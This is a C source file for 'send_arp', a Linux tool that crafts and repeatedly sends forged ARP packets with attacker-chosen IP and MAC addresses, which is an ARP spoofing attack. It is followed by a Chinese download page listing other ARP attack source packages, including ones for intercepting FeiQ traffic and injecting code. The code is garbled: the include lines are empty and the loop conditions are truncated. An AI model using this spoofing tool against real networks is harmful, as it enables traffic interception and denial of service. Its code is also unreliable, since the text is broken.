/***************************************************************************
main.c - description
-------------------
begin : 五 2月 14 20:00:42 CST 2003
copyright : (C) 2003 by root
email :
***************************************************************************/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/
#include
#include
#include
#include
#include
#include
#include
/*#include */
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define DEFAULT_DEVICE "eth0"
char usage[]={"send_arp: sends out custom ARP packet.\n
\tusage:send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr times \n\n"};
struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);
int main(int argc,char** argv){
struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if(argc != 6)die(usage);
sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket error!");
exit(1);
}
number = atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);
get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);
get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);
memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
printf("now is sending the num: %i packet\n",j);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr(struct in_addr* in_addr,char* str){
struct hostent *hostp;
in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %s\n",str);
exit(1);
}
}
}
void get_hw_addr(char* buf,char* str){
int i;
char c,val;
for(i=0;i if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf++ |= val;
if(*str == ':')str++;
}
}
分享到:
相关推荐
这个压缩包包含的源代码可能是用Visual C++(VC)编写的,用于演示ARP攻击的实现。VC是微软开发的一款集成开发环境,支持C++编程。源代码可能包括了以下几个关键部分: 1. **ARP包构造**:创建和发送ARP请求和响应...
【Qt实现飞秋拦截助手—ARP攻击 完整项目代码】是一个基于Qt框架的软件开发项目,主要功能是实现对飞秋(FeiQ)通信软件的拦截,并利用ARP攻击技术进行网络通信的监控和控制。这个项目对于理解Qt编程、网络协议以及...
ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御
"ARP攻击程序"这个文件很可能是实现这种攻击的源代码。通常,这样的程序会包括以下功能: 1. 发送伪造的ARP响应:通过编程方式构造并发送ARP响应报文,修改目标设备的IP与MAC地址映射。 2. 持续监控和更新:攻击程序...
### JAVA代码实现ARP攻击 #### ARP攻击概述与原理 ARP(Address Resolution Protocol)攻击是一种在网络环境中常见的安全威胁,尤其在局域网内较为普遍。它主要利用ARP协议本身的工作机制,通过对ARP请求与应答的...
3. **防御措施**:为了防止ARP攻击,可以采用静态ARP表、使用防ARP欺骗软件等方式加强网络安全。 总之,通过以上介绍可以看出,C语言实现的ARP攻击不仅需要对ARP协议有深入的理解,还需要掌握一定的编程技能以及...
本压缩包文件“arp cheat”可能包含了用于演示或研究ARP欺骗的源代码,让我们深入探讨ARP协议以及ARP欺骗的相关知识。 首先,我们要理解ARP的基本原理。ARP是TCP/IP协议栈中的一层,它的主要功能是在IP地址和MAC...
- 在`ARPAttack`类中,定义了一系列用于发起ARP攻击的方法。 - 通过不断地发送伪造的ARP响应包,将攻击者的MAC地址与目标IP地址关联起来。 - 这样做会导致目标主机将所有的数据包都发送给攻击者,从而达到断网的...
5. 防御机制:虽然主要关注攻击,但源码可能也包含一些防止自身成为ARP欺骗受害者的策略,如定期刷新ARP缓存或使用ARP防欺骗软件。 理解ARP欺骗攻击和相关源码有助于提升网络安全意识,对于网络管理员和安全研究...
以上是对“linux下arp欺骗源代码”这一主题的详细阐述,涵盖了ARP协议的基础知识、ARP欺骗的原理、arpspoof工具的使用以及Linux编程相关的知识。了解这些内容,不仅可以帮助我们防范网络攻击,也能为网络安全研究和...
### ARP欺骗程序源代码解析与理解 #### 一、ARP欺骗技术概览 ARP(Address Resolution Protocol)协议是网络层到链路层的地址转换协议,主要用于将IP地址转换为对应的物理地址(如MAC地址)。在局域网环境中,设备...
该软件是用delphi7编的,当时是为了解决学校的arp攻击问题而编写的一个自动检测和生成bat文件的一个小工具。这是本人第一个用delphi编写的小软件。没有用到其他控件,编译好即可运行,对于初学者可能有一定的用途,...
易语言ARP防护软件是一款利用易语言编程环境开发的网络防护工具,主要针对ARP攻击进行防御。ARP(Address Resolution Protocol)是地址解析协议,用于将IP地址转换为物理(MAC)地址,是网络通信中的基础协议。然而...
【标题】基于C#开发的局域网下的ARP工具源码 这个项目是一个利用C#编程语言编写的局域网ARP(Address Resolution Protocol)工具,主要用于实现ARP嗅探和ARP劫持功能。ARP协议在局域网通信中起着至关重要的作用,它...
在标签中,"arp欺骗"和"arp攻击"进一步强调了这个工具的主要功能。ARP欺骗通常分为两种类型:主动欺骗和被动欺骗。主动欺骗是攻击者向网络发送假的ARP响应,将自己的MAC地址关联到别人的IP地址,使得所有发往那个IP...
1. **获取源码**:下载`arpoison`的源代码压缩包。 2. **解压**:使用`tar`命令解压缩文件。 3. **编译**:进入源代码目录,运行`make`命令进行编译。 4. **安装**:使用`sudo make install`命令将编译后的二进制...
【标题】"基于WinPcap的C# ARP欺骗软件(附源代码)"涉及的核心知识点主要集中在网络编程、WinPcap库以及C#语言的应用上。WinPcap是一个开源库,用于在Windows操作系统中捕获和传输网络数据包,它是网络分析和网络...
ARP地址欺骗原理及详细源代码解析 在计算机网络中,ARP(Address Resolution Protocol,地址解析协议)是一个位于网络层...通过分析提供的源代码,我们可以更好地了解ARP欺骗的实际实现,并从中学习如何防止这类攻击。
描述中提到的"一个基于arp欺骗工具的源码,欺骗目标ip可以插入指定代码",意味着这个源码不仅能够执行ARP欺骗,还具备在欺骗过程中向目标IP注入特定代码的能力。这可能涉及到网络嗅探、数据包构造和注入等高级技巧,...